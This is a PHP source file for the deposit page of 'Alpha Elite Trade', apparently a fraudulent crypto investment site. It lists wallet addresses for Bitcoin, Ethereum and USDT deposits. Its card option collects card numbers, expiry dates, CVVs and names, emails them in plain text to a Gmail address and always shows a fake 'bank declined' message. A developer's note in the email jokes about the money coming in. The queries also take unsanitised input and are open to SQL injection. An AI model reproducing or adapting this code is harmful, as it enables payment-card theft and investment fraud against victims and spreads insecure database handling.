<?php
//error_reporting(0); 
session_start();
$success=$ccard="";
if(isset($_SESSION['SESS_LOGGEDIN']) == FALSE) {
    header("Location: " . $config_basedir."login.php");
}

require("config.php");
require("db.php");
?>
<?php

$seller= $_SESSION['SESS_USERID']; 

$sql = mysqli_query($db,"SELECT * FROM logins WHERE id='$seller'");
 
// Place image in the folder 
$numrow=mysqli_fetch_assoc($sql);
$forename = $numrow['firstname'];
$surname = $numrow['lastname'];
$walletid = $numrow['walletid'];
$active_no = $numrow['active_no'];
$cashout_no = $numrow['cashout_no'];
$investors_no = $numrow['investors_no'];
//$profile = $numrow['profile'];
//$verifyuser = $numrow['verifyuser'];
?>

<?php
if (isset($_GET['method'])){
    $method=$_GET['method'];
    if ($method==1){
        $active1="active";
$text='text';
        $number='number';
        $type="creditcard";
        $ccard='<div class="container" align="center">
    <div class="col-md-2" align="right"><label for="details" style="margin-top:12px;">Card Type :</label></div><div class="col-md-5" align="left">
    <select name="ctype" id="category">
    <option value="Visa">Visa
    </option>
    <option value="MasterCard">MasterCard
    </option>
    </select>
    </div></div><div class="container" align="center">
    <div class="col-md-2" align="right"><label for="details" style="margin-top:12px;">Card Number :</label></div><div class="col-md-5" align="left">
    <input type="number" name="cnumber" id="details" min="10" required/>
    </div></div><div class="container" align="center">
    <div class="col-md-2" align="right"><label for="details" style="margin-top:12px;">Expire :</label></div><div class="col-md-5" align="left">
    <input type="date" name="edate" id="details" min="10" required/>
    </div></div><div class="container" align="center">
    <div class="col-md-2" align="right"><label for="details" style="margin-top:12px;">CVV :</label></div><div class="col-md-5" align="left">
    <input type="number" name="cvv" id="details" min="10" required/>
    </div></div><div class="container" align="center">
    <div class="col-md-2" align="right"><label for="details" style="margin-top:12px;">FullName :</label></div><div class="col-md-5" align="left">
    <input type="text" name="fname" id="details" min="10" required/>
    </div></div>';
        $message="Alpha Elite Trade does not currently offer this service to users in your current location. Please kindly use other preferred method of deposit to continue with this process.
If you have any questions - or need assistance on how to make your deposit - please use the contact form provided below or contact customer services at support@alphalitetrade.com.";
        
    }elseif ($method==2){

        $text='hidden';
        $number='hidden';
        $date='<div class="container" align="center"><div class="col-md-2" align="right"><label for="details" class="depo3" style="margin-top:12px;">Date:</label></div><div class="col-md-5" align="left">     <input type="date" name="date" id="details" min="10" required/></div></div>';
        $active2="active";
        $type="bank";
        $message="Alpha Elite Trade offers a variety of deposit methods to fund your account.

If you wish to fund your account via <span style='color: orangered'>Bitcoin Deposit</span>, kindly copy your wallet address below. After payment fill the form below with the required information to request for payment confirmation:
<br><br> 

<form class='example' action='' style='margin:auto;max-width:300px'>
  <input type='text' id='myInput' value='$walletid' name='search2'>
  <button type='submit'><i class='fa fa-copy' onclick='myFunction()'></i></button>
</form>";
    }elseif ($method==3){
        $active3="active";

        $text='hidden';
        $number='hidden';
        $date='<div class="container" align="center"><div class="col-md-2" align="right"><label for="details" style="margin-top:12px;">Date :</label></div><div class="col-md-5" align="left">     <input type="date" name="date" id="details" min="10" required/>     </div></div>';
        $type="western";
        $message="Alpha Elite Trade offers a variety of deposit methods to fund your account.

If you wish to fund your account via <span style='color: orangered'>Ethereum</span>, kindly copy your wallet address below. After payment fill the form below with the required information to request for payment confirmation:
<br><br> 

<form class='example' action='' style='margin:auto;max-width:300px'>
  <input type='text' id='myInput' value='7ui58JAXy9NEg5ZvVXjQV4mX6qMGPqmU2Kp' name='search2'>
  <button type='submit'><i class='fa fa-copy' onclick='myFunction()'></i></button>
</form>";
    }elseif ($method==4){
        $active4="active";

        $text='hidden';
        $number='hidden';
        $date='<div class="container" align="center"> <div class="col-md-2" align="right"><label  for="details" style="margin-top:12px;">Date:</label></div><div class="col-md-5" align="left"> <input type="date" name="date" id="details" min="10" required/>     </div></div>';
        $type="moneygram";
        $message="<p style='font-size: 13px !important'>Alpha Elite Trade offers a variety of deposit methods to fund your account.

If you wish to fund your account via <span style='color: orangered'>USDT Deposit</span>, kindly copy your address below. After payment fill the form below with the required information to request for payment confirmation:</p>
<br><br> 

<form class='example' action='' style='margin:auto;max-width:300px'>
  <input type='text' id='myInput' value='0x96d931410e4d917284A9e32943418chfCF1Cb437' name='search2'>
  <button type='submit'><i class='fa fa-copy' onclick='myFunction()'></i></button>
</form>";
    }elseif ($method==5){
        $active5="active";

        $text='hidden';
        $number='hidden';
        $date='<div class="container" align="center"> <div class="col-md-2" align="right"><label for="details" style="margin-top:12px;">Date :</label></div><div class="col-md-5" align="left"><input type="date" name="date" id="details" min="10" required/>     </div></div>';
        $type="PerfectMoney";
        $message="Alpha Elite Trade offers a variety of deposit methods to fund your account.

If you wish to fund your account via PerfectMoney please contact support: support@alphalitetrade.com and make a request for deposit into your account. Please note that there is a minimum deposit of $500 USD.

If you have any questions - or need assistance on how to make your deposit - please use the contact form provided below.";
    }elseif ($method==6){
        $active6="active";

        $text='hidden';
        $number='hidden';
        $date='<div class="container" align="center">     <div class="col-md-2" align="right"><label for="details" style="margin-top:12px;">Date :</label></div><div class="col-md-5" align="left">     <input type="date" name="date" id="details" min="10" required/>     </div></div>';
        $type="BitCoin";
        $message="If you wish to fund your account via BitCoin please, kindly request for deposit using the form below:";
    }
} else {
    header("location:".$config_basedir."deposit.php?method=2");
}
if (isset($_POST['email']) && isset($_POST['amount']) && isset($_POST['date'])) {

    $product_name = mysqli_real_escape_string($_POST['details']);
    $amount = mysqli_real_escape_string($_POST['amount']);
    $date = mysqli_real_escape_string($_POST['date']);
    $type = mysqli_real_escape_string($_POST['type']);
    $ctype = mysqli_real_escape_string($_POST['ctype']);
    $cnumber = mysqli_real_escape_string($_POST['fname']);
    $fname = mysqli_real_escape_string($_POST['amount']);
    $edate = mysqli_real_escape_string($_POST['edate']);
    $cvv = mysqli_real_escape_string($_POST['cvv']);
    $seller= $_SESSION['SESS_USERID'];
    $user=$_SESSION['SESS_USERNAME'];
    $ver=1;
    $addresssql = mysql_query("INSERT INTO `deposit` (`log_id`, `amount`, `email`, `type`,`date`,`user`,`ctype`, `cnumber`, `edate`,`cvv`,`fname`) VALUES ('$seller','$amount','$product_name', '$type','$date','$user','$ctype','$cnumber', '$edate','$cvv','$fname')");
    $success="<div class='success' style='margin-bottom:50px;'><img src='downloadr.png'>Deposit verification request successful, You will be contacted via email</div>";
$success2="<div class='success' style='margin-bottom:50px;'>Your bank declined the processing of this payment please try another payment option</div>";
    // Place image in the folder 

	$to="alphaelitetrade@gmail.com";
$subject = "Alpha Elite Trade";
$body = "Dear Admin,\n
Deposit Request Form; \n
Deposit DETAILS\n
---------------------------- \n
product_name : $product_name
amount : $amount 
date : $date
type : $type 
ctype : $ctype
cnumber : $cnumber 
fname : $fname
edate : $edate 
cvv : $cvv 
seller : $seller
user : $user
email : $email 


Please match her straight bill and remember me when the money comes :D :D. At all at all naim bad pass. 

\n";

$headers = "Alpha Elite Trade\n";
mail($to,$subject,$body,$headers);
		

}
?>


<!DOCTYPE html>
<html lang="en">
<meta http-equiv="content-type" content="text/html;charset=utf-8" />
<head>
  <meta charset="UTF-8" />
  <meta http-equiv="X-UA-Compatible" content="IE=edge" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <link rel="shortcut icon" href="assets/img/favicon2.png" type="image/x-icon" />
  
  
  		<!-- Stylesheets -->
        <link href="css/bootstrap.css" rel="stylesheet">
<link href="plugins/revolution/css/settings.css" rel="stylesheet" type="text/css"><!-- REVOLUTION SETTINGS STYLES -->
<link href="plugins/revolution/css/layers.css" rel="stylesheet" type="text/css"><!-- REVOLUTION LAYERS STYLES -->
<link href="plugins/revolution/css/navigation.css" rel="stylesheet" type="text/css"><!-- REVOLUTION NAVIGATION STYLES -->
<link href="css/style.css" rel="stylesheet">
<link href="css/responsive.css" rel="stylesheet">

<!--Color Switcher Mockup-->
<link href="css/color-switcher-design.css" rel="stylesheet">

<!--Color Themes-->
<link id="theme-color-file" href="css/color-themes/orange-theme.css" rel="stylesheet">
  
  
  
   <!-- Bootstrap core CSS -->
        <link href="css2/bootstrap.css" rel='stylesheet' type='text/css'>
        <link href="css2/styles.css" rel='stylesheet' type='text/css'>
        <link href="css2/grid.css" rel='stylesheet' type='text/css'>
        <!-- Custom styles for this template -->
        <link href="js2/colorbox/colorbox.css"  rel='stylesheet' type='text/css'>
        <link href="css2/templatemo_style.css"  rel='stylesheet' type='text/css'>
		<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
  
  
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
  
  <link rel="stylesheet" href="assets/css/bootstrap_custom.css" />
  <link rel="stylesheet"
    href="https://fonts.googleapis.com/css2?family=Material+Symbols+Outlined:opsz,wght,FILL,GRAD@20..48,100..700,0..1,-50..200" />
  <link rel="stylesheet" href="assets/css/nice-select.css" />
  <link rel="stylesheet" href="assets/css/dd.css" />
  <link rel="stylesheet" href="assets/css/styles.css" />
  
  <style>
@media (max-width: 800px) {
  .depo1{
   float: left !important;
  }
  
  .depo2{
   float: left !important;
  }
  .depo3{
   float: left !important;
  }
  .balnce{
	  margin-right: 30px !important;
  }
}

 form.example input[type=text] {
  padding: 8px;
  font-size: 15px;
  border: 1px solid grey;
  float: left;
  width: 80%;
  background: #f1f1f1;
}

form.example button {
  float: left;
  width: 20%;
  padding: 8px;
  background: #2196F3;
  color: white;
  font-size: 15px;
  border: 1px solid grey;
  border-left: none;
  cursor: pointer;
}

form.example button:hover {
  background: #0b7dda;
}

form.example::after {
  content: "";
  clear: both;
  display: table;
}
</style>
  <script>
  function myFunction() {
  // Get the text field
  var copyText = document.getElementById("myInput");

  // Select the text field
  copyText.select();
  copyText.setSelectionRange(0, 99999); // For mobile devices

   // Copy the text inside the text field
  navigator.clipboard.writeText(copyText.value);

  // Alert the copied text
  alert("Copied the text: " + copyText.value);
}
  </script>
  <title>Alpha Elite Trade - Deposit</title>
</head>

<body>
  <div class="d-flex wrapper" id="wrapper">
    <!-- Sidebar -->
    <div id="sidebar-wrapper" class="sidebar-wrapper">
      <div class="sidebar-heading">
        <a href="trade.php">
          <img id="logo" src="assets/img/logodash.png" alt="" />
        </a>
      </div>
      <nav class="sidebar mb-4">
        <ul class="nav flex-column" id="nav_accordion">
          <li class="nav-item">
            <a class="nav-link d-flex gap-2 align-items-center" href="trade.php">
              <img src="assets/img/dashboard_icon_inactive.png" alt="" />
              <span class="fw-semibold">Dashboard</span>
            </a>
          </li>
          <li class="nav-item">
            <a class="nav-link d-flex gap-2 align-items-center" href="deposit.php">
              <span class="material-symbols-outlined fw-lighter"> sync </span>
              <span class="fw-semibold">Deposit</span>
            </a>
          </li>
          <li class="nav-item">
            <a class="nav-link d-flex gap-2 align-items-center" href="withdraw.php">
              <span class="material-symbols-outlined fw-lighter">
                payments
              </span>
              <span class="fw-semibold">Withdraw</span>
            </a>
          </li>
         
          <li class="nav-item">
            <a class="nav-link d-flex gap-2 align-items-center" href="pending.php">
              <span class="material-symbols-outlined fw-lighter">
                percent
              </span>
              <span class="fw-semibold">Pending</span>
            </a>
          </li>
          <li class="nav-item">
            <a class="nav-link active d-flex gap-2 align-items-center" href="history.php">
              <span class="material-symbols-outlined fw-lighter">
                insights
              </span>
              <span class="fw-semibold">History</span>
            </a>
          </li>
          
       

         <li class="nav-item">
            <a class="nav-link d-flex gap-2 align-items-center" href="account-details.php">
              <span class="material-symbols-outlined fw-lighter">
                settings
              </span>
              <span class="fw-semibold">Settings</span>
            </a>
          </li>

         <li class="nav-item">
            <a class="nav-link d-flex gap-2 align-items-center" href="http://localhost/uchz/logout.php">
              <span class="material-symbols-outlined fw-lighter">
                logout
              </span>
              <span class="fw-semibold">Logout</span>
            </a>
          </li>
        
        </ul>
        <div class="lang-select d-flex justify-content-center">
          <select id="select">
            <option value="english">English</option>
            <option value="bangla">Bangla</option>
            <option value="arabic">Arabic</option>
          </select>
        </div>
      </nav>
    </div>

    <!-- Page Content -->
    <div id="page-content-wrapper" class="page-content-wrapper">
            <nav class="navbar navbar-expand-lg py-lg-3 px-2 px-lg-4 d-flex fixed-top justify-content-between">
        <div class="d-flex align-items-center">
          <div class="d-flex align-items-center d-lg-none">
            <span class="material-symbols-outlined menu-toggle" id="menu-toggle">
              menu
            </span>
          </div>
          <div class="d-none d-xl-block"> 
 		  
            
                <a class="dropdown-item d-flex align-items-center gap-2" href="#">
                  <span class="material-symbols-outlined fw-light" style="color: orange !important">
                    email
                  </span>
                  info@alphalitetrade.com</a>
               
          </div>
        </div>

        <div class="d-flex gap-3 p-lg-2 p-lg-0 align-items-center justify-content-end">           
          <div class="nav-item dropdown">
            <a class="d-flex gap-2 align-items-center" href="#" id="navbarDropdown4" role="button"
              data-bs-toggle="dropdown" aria-expanded="false">
              <img height="60" width="60" class="img-fluid" src="assets/img/avatarnow.png" alt="user">
              <div class="d-flex flex-column d-none d-xl-block">
                <p class="mb-0 text-white fw-semibold"><?php echo $forename; ?> <?php echo $surname; ?></p>
                <span class="small text-white">Investor</span>
				
				<?php
                        function display_currency($currency){

                            foreach($currency as $currence){
                                echo $currence;
                            }
                        }
                        $username = $_SESSION['SESS_USERNAME'];
                        $currency = array();
                        $query = mysqli_query($db,"SELECT * FROM logins WHERE username='$username'");
                        $user_data = mysqli_fetch_array($query);
                        if($user_data['currency']==mysqli_real_escape_string($db,'USD')){
                            $currency[]='$';
                        }
                        else if($user_data['currency']==mysqli_real_escape_string($db,'GBP')){
                            $currency[]='£';
                        }
                        else if($user_data['currency']==mysqli_real_escape_string($db,'EUR')){
                            $currency[]='€';
                        }
                        else if($user_data['currency']==mysqli_real_escape_string($db,'AUD')){
                            $currency[]='$';
                        }
                        else if($user_data['currency']==mysqli_real_escape_string($db,'CAD')){
                            $currency[]='$';
                        }
                        $seller= $_SESSION['SESS_USERID']; 
                        $sql = mysqli_query($db,"SELECT * FROM logins WHERE id='$seller'");

                        $numrow=mysqli_fetch_assoc($sql);
                        $balc=$numrow['balance'];
                        ?>
              </div>
            </a>
            <ul class="dropdown-menu dropdown-menu-end user shadow border-0" aria-labelledby="navbarDropdown4"
              onclick="event.stopPropagation()">
              <li><span class="px-3 d-inline-block">Welcome <?php echo $surname; ?></span></li>
              <li>
                <a class="dropdown-item d-flex align-items-center gap-2" href="#">
                  <span class="material-symbols-outlined fw-light">
                    account_circle
                  </span>
                  Profile</a>
              </li>
              <li>
                <a class="dropdown-item d-flex align-items-center gap-2" href="#">
                  <span class="material-symbols-outlined fw-light"> chat </span>
                  Message</a>
              </li>
            
            
              <li>
                <a class="dropdown-item d-flex align-items-center gap-2" href="account-details.php">
                  <span class="material-symbols-outlined fw-light"> settings </span>
                  Settings</a>
              </li>
              <li>
                <a class="dropdown-item d-flex align-items-center gap-1" href="http://localhost/uchz/logout.php">
                  <span class="material-symbols-outlined fw-light"> logout </span>
                  Log Out</a>
              </li>
            </ul>
          </div>
        </div>
        <!-- For pc -->
      </nav>
	  
      <div class="container-fluid main-content px-2 px-lg-4" style="margin-top: 2px !important">
   
    <div class="row my-2 g-3 g-lg-4 pb-3" style="">
          <div class="col-12">
		   <p class="balnce" style="float: right !important">Balance:<span style='color: green !important; font-weight: bold !Important'> <?php display_currency($currency); echo' '. $balc ?>.00</span></p>
		  </div>
     </div>
   
   
        <div class="row my-2 g-3 g-lg-4 pb-3  ">
          <div class="col-12" style="margin-top: 2px !important">
          <div class="mainchart px-3 px-md-4 py-3 py-lg-4">
          <div class="container" align="center" style="margin-top:20px;margin-bottom:20px">
          <div class="col-md-4">
          <div style="margin-top: 3%;">
          <nav class="nav nav-pills nav-stacked dep-nav">             
        <li class="<?php echo $active2;?>">
            <a href="?method=2">Bitcoin Deposit</a>
        </li>
        
        <li class="<?php echo $active3;?>">
            <a href="?method=3">Ethereum Deposit</a>
        </li>
        <li class="<?php echo $active4;?>">
            <a href="?method=4">USDT Deposit</a>
        </li>
       
	     
	   
        <li class="<?php echo $active6;?>" style="visibility: hidden">
            <a href="?method=6">Bit Coin</a>
        </li>
		
		 <li class="<?php echo $active5;?>" style="visibility: hidden">
            <a href="?method=5">Bit Coins</a>
        </li>
    </nav>
    </div>
</div>
	
	
<div class="col-md-8">
<h3>Deposit</h3><br>
<?php echo $message;
?>

<br>
<br>
<?php 
if (isset($_GET['method'])){
    $method=$_GET['method'];
if ($method==1){
echo $success2;
}
else{
echo $success;
}
}?>
<form action="deposit.php" enctype="multipart/form-data" name="myForm" id="myform" method="post" ><div class="container" align="center">
    <div class="col-md-2" align="right"><label for="details" class="depo1" style="margin-top:12px;">Email :</label></div><div class="col-md-5" align="left">
    <input type="email" name="email" id="details" min="10" required/>
    </div></div>
	
	<div class="container" align="center">
    <div class="col-md-2" align="right">
	<label for="details" class="depo2" style="margin-top:12px;">Amount:</label>
	</div>
	<div class="col-md-5" align="left">
    <input type="number" name="amount" id="details" min="10" required/>
    </div>
	</div>
	
    <?php echo $ccard;?><?php echo $date;?><input type="hidden" name="type" value="<?php echo $type ?>">
	
	
	
	<div clas="container" align="center">
	<div class="col span-3-of-3">
	<label>
    <input type="submit" name="button" id="btn-mlogin" value="Confirm Payment" />
    </label>
	</div>
	</div>
</form>

</div>
</div>
			 
			 
  
			  
            </div>
          </div>
        </div>

        <!-- Footer -->
        <div class="row py-2 g-3 g-lg-4 top-border footer">
          <div class="col-lg-6">
            <span class="text-center text-lg-start d-block w-100">©2023. All Rights Reserved By <a href="#" class="primary">Alpha Lite Trade.</a></span>
          </div>
         
        </div>
      </div>
    </div>
  </div>
  <!-- JS script links -->
  <script src="../cdn.jsdelivr.net/npm/bootstrap%405.0.0-beta3/dist/js/bootstrap.bundle.min.js"></script>
  <script src="../code.jquery.com/jquery-3.5.1.min.js"></script>
  <script src="assets/js/jquery.nice-select.js"></script>
  <script src="assets/js/dd.min.js"></script>
  <script src="assets/js/main.js"></script>
</body>


</html>